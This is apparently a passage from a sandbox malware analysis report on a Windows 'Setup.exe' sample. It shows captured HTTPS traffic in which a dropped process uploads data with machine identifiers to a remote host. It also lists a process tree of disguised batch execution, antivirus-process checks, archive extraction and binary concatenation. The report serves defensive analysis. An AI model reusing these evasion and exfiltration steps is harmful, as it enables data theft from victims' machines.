2025-04-12 00:27:05 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nRSOPnYryyLCaq0gGeap3TMBbOcd60FRQk8FGGKaltnyGENkDnzNAo2%2BnmeYox31ZDYXcEphlQwUdXe8Eds5eq9u7Ujw4bgrt%2Ft7ULmuj30rokQN3kFb7Q8cUwF476Vy1O5CClg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee988e683f5979-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121669&min_rtt=121553&rtt_var=25750&sent=6&recv=10&lost=0&retrans=0&sent_bytes=2842&recv_bytes=3586&delivery_rate=33212&cwnd=226&unsent_bytes=0&cid=4375a1a935fa52d3&ts=554&x=0"
2025-04-12 00:27:05 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-12 00:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49731	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:06 UTC	277	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9Y8KE5UOb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 556714 Host: vqaliantheart.live
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 2d 2d 39 59 38 4b 45 35 55 4f 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 39 59 38 4b 45 35 55 4f 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 59 38 4b 45 35 55 4f 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 36 30 30 30 37 32 42 39 35 31 37 44 Data Ascii: --9Y8KE5UObContent-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--9Y8KE5UObContent-Disposition: form-data; name="pid"1--9Y8KE5UObContent-Disposition: form-data; name="hwid"47F4DF4BAA0AF798600072B9517D
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 25 f3 0a bf 0c e3 c2 2e 20 6e b9 eb ce e9 a9 61 6d 61 6c 83 3f 9a 06 ed b8 16 07 1c 9f f0 63 10 81 c7 ff 63 58 ce 34 7d 0f 5c 87 73 8e dc 4e 80 1a 07 c4 9f 69 3a 05 57 a6 1e b3 fb 93 78 b0 22 21 b5 43 1a b3 66 cf a5 fc b1 61 4c 82 a5 d2 34 83 6c d9 0f 8c 2b 8e f7 35 9a 85 98 51 33 ee 5c 78 2d 1c e8 8e 5f 67 d7 33 e3 59 b4 88 cd ea 66 fd 4a af 7f 02 c2 c7 5b 2d 5f 82 6b e3 bc e6 c0 10 17 01 c8 8f 83 f4 82 46 f1 c4 ed 0d f7 78 f0 f7 1d a3 95 6f 5d 6e 6f 8a 78 70 64 63 e5 c5 f8 85 8a 96 ea 06 cf 87 74 e3 4a 77 c6 82 38 b8 73 ba 47 08 d6 dd a4 08 1e fe 76 08 d1 47 6f 19 d5 7a d6 d6 3a 03 50 0b b6 99 14 50 47 05 78 3b e3 17 40 4e 5f 75 cc 1f c8 f2 c5 20 2f 7c b9 fe fe 5c 8a 4b f2 d2 2d f6 75 90 79 f8 f2 db e5 d5 55 e1 a1 64 ce 36 a8 e0 85 f9 6a 57 78 55 12 3b Data Ascii: %. namal?ccX4}\sNi:Wx"!CfaL4l+5Q3\x-_g3YfJ[-_kFxo]noxpdctJw8sGvGoz:PPGx;@N_u /\|\K-uyUd6jWxU;
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: fb 97 18 c5 5d a8 87 df e4 96 06 00 fd 0c 3c c8 9a c4 f8 2d f8 4d 9b c4 ac 20 90 a5 d6 04 bd 19 93 30 51 2c f6 9b 79 ed 2a b1 c9 60 79 dd 8e 12 1f 86 95 8f 27 8c 42 f3 62 93 fc 98 c4 33 ea fa a0 f9 16 8c c5 43 8c 7b 10 74 1b 72 fe b6 f1 8a 92 b3 34 f0 db a4 72 c3 53 27 38 c9 e1 e5 6d d5 a0 2c c4 7e 62 d0 0a f7 47 5f 89 02 a9 23 ad 3a a3 a8 95 8c 7b b6 6b 21 ac b7 c1 91 0b 38 07 34 e5 65 ad 03 d7 e3 35 45 1b 51 e7 4e 3d 51 1a 85 d7 39 20 1d 10 b4 b3 6d 7d bf 2f ca 43 1a a6 51 a5 f1 58 7f 7c 28 68 e9 82 88 47 47 58 3f f8 f3 ad 97 c9 b2 ee c3 8b e4 d4 8f b9 17 85 5f 68 39 3d 5b b1 37 4c e7 9c 89 ec 0d 25 89 82 15 aa 30 60 84 30 56 79 51 88 72 5b fb be 26 2d 40 9f 26 f1 f2 96 4f 79 53 05 f0 01 56 cd 28 83 6a 41 74 4a 8a 42 5b 1a 42 55 1f e3 cc 65 a0 9f 35 cd Data Ascii: ]<-M 0Q,y*`y'Bb3C{tr4rS'8m,~bG_#:{k!84e5EQN=Q9 m}/CQX\|(hGGX?_h9=[7L%0`0VyQr[&-@&OySV(jAtJB[BUe5
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 8c 0a 2a 7f 17 02 0a d2 a3 1f 19 21 3c 87 70 9c 68 be 8a 99 1e 3f 35 d5 84 5a db 95 75 9f 06 98 a9 f7 54 ff 70 79 c3 ad 33 91 3e 0f 15 39 56 b8 85 c1 4e a1 cc e6 6a fd 11 61 11 ab 03 c3 7d 72 f4 5a d5 21 f6 b6 6d 6e 7b f7 e0 09 3a 5e 89 9a 1d ba b3 01 d0 66 cd ea 37 92 61 25 5e 47 27 b0 68 3b 6c ea dd fb b1 de 23 5b 4d 08 51 93 ad 58 93 23 c2 34 1e 1f bd b5 29 38 3a 08 39 48 ae c7 c9 2a 28 87 0b 16 89 16 94 58 35 88 48 0b 0a 05 c8 76 32 8a c0 e3 81 ef b3 70 4a 8a 47 5a 1e 11 40 a9 f9 67 cc f4 26 10 3d 9f 79 3d b5 9a 9c c0 a8 e7 aa 62 be d5 57 4c 26 fa cd 83 aa 62 3a be 6d e1 6e fc 16 d3 49 0a cc 60 d8 56 a8 07 0f f4 28 28 e2 e1 34 9e 0b bb a7 e4 58 0f 24 c1 a8 05 19 40 26 38 a3 dc bd 0c f2 58 85 15 f2 b7 eb 82 7c 40 1e 42 42 e2 a7 6c ac f8 b4 89 73 40 20 Data Ascii: !<ph?5ZuTpy3>9VNja}rZ!mn{:^f7a%^G'h;l#[MQX#4)8:9H(X5Hv2pJGZ@g&=y=bWL&b:mnI`V((4X$@&8X\|@BBls@
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: d5 c5 cd 1f 82 40 ce cd cd 00 d3 bc cf 74 8f 7b 3c 45 59 c1 3e a8 36 b5 62 5b bd ec 0e 4d 17 06 cb 09 9a d3 53 c4 68 b8 00 54 d9 5d 46 ca 1e 92 dd fe 8f f1 46 db 67 91 47 1e 5c e5 2d 55 df d3 a9 2b ec b3 e8 95 31 21 d9 11 5c c9 6c a2 9d b7 fa da d7 26 2e 8d ef 37 ad a2 7b 50 19 0d dc 7d 1f e5 55 16 6f 71 fb 2e ed ad f5 78 f2 18 dc 9c f0 3f 6d 57 77 17 c2 dd 7b c9 2c 68 df da 75 ba 76 1a 36 61 7e 34 19 69 65 d7 bb 5f 04 fe d3 64 2a 81 84 ba 0e c1 34 ac fc 19 f7 2e dd 72 dd e0 ed b3 52 b1 b3 58 35 11 5f ed 37 13 18 bd f6 16 3f 46 56 6f e2 97 3d 45 a3 27 d6 e4 da d9 27 ca 05 ed 2d 4c 82 6b 73 db cb fe 04 d8 52 7f a4 eb dd 09 f9 0c 06 3d 8b d8 26 87 52 c9 34 e7 42 f6 22 89 14 36 04 c6 f0 af 1e b5 ac 81 e0 dd c0 01 f4 aa c3 f4 81 38 8a fa 5d bd 1e 9f 73 9e 1b Data Ascii: @t{<EY>6b[MShT]FFgG\-U+1!\l&.7{P}Uoq.x?mWw{,huv6a~4ie_d*4.rRX5_7?FVo=E''-LksR=&R4B"68]s
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 7f 41 b7 66 84 fb 87 a9 c4 e9 11 82 7d 79 03 fe 23 68 58 73 7d 98 d0 d0 ee cf e4 5d 10 8f dc 28 ef 16 1e 38 e7 9f a9 d7 52 8a 36 ba 37 25 e3 f6 61 cf 69 a1 2b 3c d1 80 bf 5a ce b8 96 ca cf 2c 5f f1 fb b6 16 98 3a 8b eb f1 de 4d 81 08 66 1a 96 96 c6 1b 16 16 84 c4 7a c1 ec 32 97 e0 0b 73 da 3a cd f5 cc 58 99 3a 2e 30 78 f4 0b 0c 6b 85 24 23 de 29 49 70 3a a2 33 68 ae db b5 35 e6 44 e8 da 85 b0 23 5f a2 f8 3f f3 33 9b f8 2c 75 8b f2 aa f5 49 78 ac 9a a6 b2 b5 cd bd d3 ac 56 32 f7 8b e6 5f 68 39 6a 71 d4 fb a9 90 d8 58 83 53 e2 8d b1 d8 d9 7f 34 fc df 8d 46 9c 58 b1 a5 c1 b1 5f 93 a6 60 51 ba 19 fe ea e8 cf 8d 34 ea e2 ed 9c 3e dc 57 01 07 84 f4 9d 6c 0e 56 c0 ca 15 07 02 2b 9d 56 67 22 57 45 84 23 7b 8c 3e 8f b9 64 04 3f ae 30 2c 7c b8 77 c1 5f 19 c4 39 ad Data Ascii: Af}y#hXs}](8R67%ai+<Z,_:Mfz2s:X:.0xk$#)Ip:3h5D#_?3,uIxV2_h9jqXS4FX_`Q4>WlV+Vg"WE#{>d?0,\|w_9
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: ab 74 20 d0 7f f6 7a 90 1b 46 59 ab 33 d8 47 fe a3 88 60 31 6e 2e 66 ff a5 ef 26 1b c6 0d e6 c8 51 af 00 a7 2e b5 30 bc 8e 0c 7c a5 4e 73 b6 a3 b1 8e 2f f0 cf dd aa a2 a2 c9 61 18 4f 1f b3 85 5e 57 5a 83 e4 93 00 b7 e6 19 40 d5 1e d4 8c 9f 13 a0 74 3d 49 00 4e 20 63 21 0f 9f 73 72 04 16 93 35 e8 16 70 92 03 48 9b f7 6f be 26 d3 cf 7d e1 fd 48 c1 d9 7d ed 5c 56 84 5a 3b d4 b5 e3 bc 39 d1 23 75 91 92 e7 4b 13 b8 a4 72 a5 8b 73 3e bf e0 e6 41 57 d0 a1 2e 63 70 ab 00 68 86 b3 85 d8 da 83 4e 83 4a fc 21 92 6b 36 31 66 81 aa e9 54 2e de f6 38 ad 01 31 76 d3 d5 04 fa 10 50 a6 73 b8 45 07 e6 85 51 b1 63 2e 08 4a 77 e6 ea df b3 ef 06 1a 76 82 1c fe 1f 2a 06 32 d9 10 8a 12 05 4d b0 42 ce 6e b8 76 b8 1f d6 80 f5 4e 19 ff f6 fb 1e b5 4c 77 8d 6b 2d 94 d4 4a c0 97 29 Data Ascii: t zFY3G`1n.f&Q.0\|Ns/aO^WZ@t=IN c!sr5pHo&}H}\VZ;9#uKrs>AW.cphNJ!k61fT.81vPsEQc.Jwv*2MBnvNLwk-J)
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 2b 64 9d d3 6e 1d 56 30 98 55 d4 a3 fe e4 b9 0e d6 61 59 89 fa d3 53 f5 48 57 a8 ce dc 8a c6 8f dd 66 98 71 ee 3b fe 4e 0c fb e4 d9 d2 eb 6c 6b c7 dd 8f 09 ee 28 be 9a bd 42 e6 e6 e9 91 fe e8 4a 98 12 15 20 1d fe 6a 52 24 5c c7 df 60 7b 24 ea 0b 77 7a f3 ca a0 b6 0b eb 3c 68 16 9e 27 e1 15 ed a2 d9 01 92 3c 84 99 fe bf 68 ad 68 ad c2 96 31 fc 98 98 8a 18 47 43 6a 0d d4 ce 8c 02 2f 3e a3 05 f7 9a 55 77 bc 9c 08 d9 b3 4b d6 43 31 10 36 30 09 18 a2 a3 b2 6e db b8 a7 62 76 19 89 70 c5 6b b6 ae 07 55 09 c7 cf 60 25 3c 22 93 4a 4c 42 af 9c 8d 01 7e af 66 9e 17 a5 fe a0 10 df 55 28 7e d2 9c c1 67 12 df 42 40 e3 47 00 cb 44 0c 47 f6 e1 29 c6 f5 0b e5 2f 1f d9 c8 51 15 2c c8 b0 94 df d8 e5 28 aa 5a 7f d6 f0 88 c4 26 c1 9e d9 25 b2 8e bc ec 86 44 c7 b9 1d 5b 47 bc Data Ascii: +dnV0UaYSHWfq;Nlk(BJ jR$\`{$wz<h'<hh1GCj/>UwKC160nbvpkU`%<"JLB~fU(~gB@GDG)/Q,(Z&%D[G
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 58 f2 db f8 54 9e 8c bb 3a b3 51 dd 8b 40 81 e3 74 82 e4 be 8a 47 fa d5 ed 79 88 b8 af f1 8a 01 b2 1f 43 aa 01 78 5a 00 5a 3d 58 69 f5 a9 1e e1 b8 d7 64 f5 cb d9 72 8a 28 b2 01 9b 2a 44 59 1c bc 4a 91 be 7d 44 1b c4 3c 84 86 87 a9 34 df e3 06 47 9f 6e 9f d6 88 f4 25 b0 40 5f a2 ef 69 31 8d ec 19 df 65 a1 f9 b3 2a d6 3b e8 63 f6 c0 2d 2f 32 95 e6 29 18 37 a3 51 81 bd ee 36 b1 3a 39 7a a5 bd f3 04 51 49 48 17 29 48 34 6a 11 5c 12 23 ab aa 35 e3 2f dd 44 7d d6 01 f9 a6 43 b3 14 c3 e2 3e 7b 35 86 a5 3b d3 8e f5 87 ef 5e b4 04 aa a6 07 11 bd da 32 82 1c 0d 58 51 f1 f7 94 52 4f 8a 04 89 53 09 20 68 33 83 d0 0f 92 48 2c 75 fe 38 f4 a7 0a a1 0c 2b 03 11 5c b1 e2 f2 f0 15 6c c9 2f af 85 41 de dc f0 52 09 28 60 c0 93 74 c7 10 70 c1 83 be b0 08 c6 64 13 04 ee 3a 62 Data Ascii: XT:Q@tGyCxZZ=Xidr(DYJ}D<4Gn%@_i1e;c-/2)7Q6:9zQIH)H4j\#5/D}C>{5;^2XQROS h3H,u8+\l/AR(`tpd:b
2025-04-12 00:27:06 UTC	15331	OUT	Data Raw: 1a 2d 4b 98 fa 51 b8 70 1b fe 40 a1 eb 5d 16 2d 86 1a 23 c4 6e 40 fc 18 25 ba a3 d0 39 c3 9a a8 87 7e 3a 0b 13 b1 bb 3c 17 b8 d2 af c9 c3 bd 7c 04 78 6b a1 c3 00 f2 e8 06 bf 19 d5 00 47 a0 87 09 9d 29 b4 80 21 57 d3 56 08 39 62 0c 78 18 23 80 41 7b d8 e4 61 59 dd e0 65 df 62 a6 b5 00 ee 6f 5b db 22 9a d3 bd 8d 59 03 40 75 18 4d 75 f2 ae 24 90 a3 37 1a 80 bc 71 50 fa c4 6b 14 e3 65 2f 92 f3 1f 92 4b 0d 01 ef e1 53 65 3a c1 1f 5f 15 ee 53 ed a4 3d f0 2b 1a 9a 28 04 4e 83 89 c3 39 cc a9 d7 f9 bb 51 7b 5d b3 0f cb 0b 72 85 95 a8 40 c9 95 62 bf e0 6b 7e 39 ac 90 cf b4 bc 21 72 b9 da 75 f7 44 f2 51 1a e0 e4 9d 4a dc 5c 10 90 f5 10 9b 24 34 df 04 7e 12 96 98 2d 80 93 09 8b 43 85 50 c0 25 41 87 46 3d 1c 76 a3 bf 93 1a 83 2f a2 79 38 30 97 17 6d 9b b6 2e 07 8c c3 Data Ascii: -KQp@]-#n@%9~:<\|xkG)!WV9bx#A{aYebo["Y@uMu$7qPke/KSe:_S=+(N9Q{]r@bk~9!ruDQJ\$4~-CP%AF=v/y80m.
2025-04-12 00:27:08 UTC	822	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:07 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jy7vcdxqOSpsOyJHsPD%2BgCco5Hid1MZqDcFa3QWrUe7aXjq2qwQejhMi6cxM%2Bg2duP3gDbWmqRkrMePDLjjqj3Z4vM5lpo7ZbsF%2BxnJ3B%2BF4NrOJTmumCzW%2Be3InBhwrING2Po%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee98955fec820c-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123519&min_rtt=123099&rtt_var=26402&sent=223&recv=423&lost=0&retrans=0&sent_bytes=2842&recv_bytes=559211&delivery_rate=32799&cwnd=243&unsent_bytes=0&cid=b98235a0431a3363&ts=1659&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49732	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:08 UTC	268	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 123 Host: vqaliantheart.live
2025-04-12 00:27:08 UTC	123	OUT	Data Raw: 75 69 64 3d 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 36 30 30 30 37 32 42 39 35 31 37 44 42 32 43 42 Data Ascii: uid=ba7355777392a02678a9794b2cd5ad8eed66df993d94&cid=637b55279021aab33278188cfa638397&hwid=47F4DF4BAA0AF798600072B9517DB2CB
2025-04-12 00:27:08 UTC	787	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:08 GMT Content-Type: application/octet-stream Content-Length: 108 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hu2P%2FfaLQyKGA5Hu5qtTSyNPUL13xnStc2hm1X6Pn4JQKr6FDnGU7mM5JU7qdnSkej1XdONcW%2FJvQEBZqYZwWk59oNagL3HbeBGuLeXzKUoOBsoMtLWv3Vt47XaMAwS8pJddulg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee98a23934d471-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121383&min_rtt=121340&rtt_var=25634&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1027&delivery_rate=33275&cwnd=252&unsent_bytes=0&cid=57a449eb6c83989c&ts=581&x=0"
2025-04-12 00:27:08 UTC	108	IN	Data Raw: 78 c7 48 57 75 75 34 2f 59 70 4f c6 64 1b 02 cf b5 e2 92 2f 43 5d 74 81 c9 05 df 85 3b 31 11 58 9b 1d 51 e7 b7 d2 08 38 08 43 94 4e 02 03 e3 c4 d0 07 66 bb b1 8f 7c 9b e6 90 b8 c8 12 df 23 ed 27 39 0b 87 9a cb be 1c fe 18 0a 12 8b fc e9 fe 75 3c 98 b9 e3 45 7b 64 9f df 39 09 83 b8 44 5b cc 7e ee 67 25 b2 e2 8f 7f 6f 42 50 Data Ascii: xHWuu4/YpOd/C]t;1XQ8CNf\|#'9u<E{d9D[~g%oBP

Target ID:	0
Start time:	20:26:15
Start date:	11/04/2025
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	1'195'901 bytes
MD5 hash:	1A27FCEAA8CF30B45E58957195768A4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:26:17
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:26:18
Start date:	11/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:26:20
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x640000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:26:20
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x120000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:26:21
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x640000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:26:21
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
Imagebase:	0x120000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:26:23
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 306846
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:26:23
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Reef.ppam
Imagebase:	0x50000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:26:23
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Dealt" Bother
Imagebase:	0x120000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:26:23
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 306846\Fox.com + Resorts + Signing + Oxford + Bored + Kenneth + Administrative + Kansas + Compiled + Accused 306846\Fox.com
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:26:24
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Adults.ppam + ..\Pas.ppam + ..\Pcs.ppam + ..\Dealing.ppam + ..\Banks.ppam + ..\Namely.ppam + ..\Chance.ppam + ..\Impose.ppam W
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:26:24
Start date:	11/04/2025
Path:	C:\Users\user\AppData\Local\Temp\306846\Fox.com
Wow64 process (32bit):	true
Commandline:	Fox.com W
Imagebase:	0x790000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:26:24
Start date:	11/04/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xc0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.8%
Total number of Nodes:	1343
Total number of Limit Nodes:	31

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\306846\Fox.com

C:\Users\user\AppData\Local\Temp\306846\W

C:\Users\user\AppData\Local\Temp\Accused

C:\Users\user\AppData\Local\Temp\Administrative

C:\Users\user\AppData\Local\Temp\Adults.ppam

C:\Users\user\AppData\Local\Temp\Argument.ppam

C:\Users\user\AppData\Local\Temp\Argument.ppam.bat

C:\Users\user\AppData\Local\Temp\Banks.ppam

C:\Users\user\AppData\Local\Temp\Bored

C:\Users\user\AppData\Local\Temp\Bother

C:\Users\user\AppData\Local\Temp\Chance.ppam

C:\Users\user\AppData\Local\Temp\Compiled

C:\Users\user\AppData\Local\Temp\Dealing.ppam

C:\Users\user\AppData\Local\Temp\Impose.ppam

C:\Users\user\AppData\Local\Temp\Kansas

Windows Analysis Report
Setup.exe